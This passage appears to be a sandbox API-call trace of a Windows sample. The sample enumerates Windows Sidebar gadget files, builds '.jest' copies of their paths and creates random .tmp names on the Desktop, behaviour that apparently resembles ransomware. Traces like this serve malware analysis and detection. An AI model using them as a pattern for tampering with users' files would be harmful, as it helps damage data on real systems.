ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0124.933] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.933] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x42 [0124.934] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x42 [0124.934] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.934] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3b9)) [0124.934] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3b9)) [0124.934] GetUserDefaultLCID () returned 0x409 [0124.935] VarBstrFromR4 (in: fltIn=0x4794447a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.95") returned 0x0 [0124.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="\x13") returned 1 [0124.935] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x42 [0124.936] GetFullPathNameA (in: lpFileName="4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp", lpFilePart=0x18e708*="4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp") returned 0x8f [0124.936] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x42 [0124.936] GetFullPathNameA (in: lpFileName="4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp", lpFilePart=0x18e6e4*="4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp") returned 0x8f [0124.936] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d1cugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63316434, cFileName="ugvbuURVSJcm-VkTuQGDFeaEczZ4uK32-0IRr K77IyI8nI2WUXvrtG-sRAXjv6Gx5CitmMXibrN5QFEb 4VhuNg1elejYcK .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.937] GetLastError () returned 0x2 [0124.937] GetLastError () returned 0x2 [0124.937] SetLastError (dwErrCode=0x2) [0124.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.937] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.941] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e870*="gadget.xml") returned 0x4f [0124.944] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.jest", lpFilePart=0x18e870*="gadget.xml.jest") returned 0x54 [0124.946] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x4f [0124.946] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x78, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0124.946] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.946] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x4f [0124.947] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x4f [0124.947] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.947] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3b9)) [0124.947] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3b9)) [0124.947] GetUserDefaultLCID () returned 0x409 [0124.947] VarBstrFromR4 (in: fltIn=0x4794447a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.95") returned 0x0 [0124.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="\x12") returned 1 [0124.948] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x4f [0124.948] GetFullPathNameA (in: lpFileName="icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp", lpFilePart=0x18e708*="icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp") returned 0x8d [0124.949] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x4f [0124.949] GetFullPathNameA (in: lpFileName="icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp", lpFilePart=0x18e6e4*="icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp") returned 0x8d [0124.949] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\icOwzw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x774f6369, cFileName="zw doiRE0peF8JPxwhoRtZ9VkSO31BKZwD7JCOQsf7BkcFW-7uhx9EW8MJgEFGM1UhcgSzrfKrovhOKnepU6swx1vzQnL8x.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.949] GetLastError () returned 0x2 [0124.949] GetLastError () returned 0x2 [0124.949] SetLastError (dwErrCode=0x2) [0124.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.950] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.950] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e870*="gadget.xml") returned 0x49 [0124.955] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.jest", lpFilePart=0x18e870*="gadget.xml.jest") returned 0x4e [0124.956] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x49 [0124.956] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x6c, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0124.957] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.957] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x49 [0124.958] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x49 [0124.958] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.958] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3c9)) [0124.958] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3c9)) [0124.958] GetUserDefaultLCID () returned 0x409 [0124.958] VarBstrFromR4 (in: fltIn=0x4794447c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.97") returned 0x0 [0124.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="ú") returned 1 [0124.959] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e780*="gadget.xml") returned 0x49 [0124.959] GetFullPathNameA (in: lpFileName="4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp", lpFilePart=0x18e708*="4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp") returned 0x8e [0124.960] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x49 [0124.960] GetFullPathNameA (in: lpFileName="4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp", lpFilePart=0x18e6e4*="4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp") returned 0x8e [0124.960] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4u-Gif92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x472d7534, cFileName="if92lC2_GCUn rPk_UTPMrH78ZCJsU25VCtdG1DkS6-cQedpGyCe0VY_TD0PGCY2QmMFb ClQmFBwEEZPMR4-po0r8D3hhd8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.960] GetLastError () returned 0x2 [0124.960] GetLastError () returned 0x2 [0124.960] SetLastError (dwErrCode=0x2) [0124.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.960] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.961] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e870*="calendar.css") returned 0x55 [0124.966] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css.jest", lpFilePart=0x18e870*="calendar.css.jest") returned 0x5a [0124.969] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e6d8*="calendar.css") returned 0x55 [0124.969] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x6c, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0x143ce48 [0124.969] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e780*="calendar.css") returned 0x55 [0124.971] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e780*="calendar.css") returned 0x55 [0124.971] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.971] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3d8)) [0124.971] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x3d8)) [0124.971] GetUserDefaultLCID () returned 0x409 [0124.972] VarBstrFromR4 (in: fltIn=0x4794447e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.98") returned 0x0 [0124.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0124.972] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e780*="calendar.css") returned 0x55 [0124.973] GetFullPathNameA (in: lpFileName="frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp", lpFilePart=0x18e708*="frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp") returned 0x8e [0124.974] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e708*="calendar.css") returned 0x55 [0124.974] GetFullPathNameA (in: 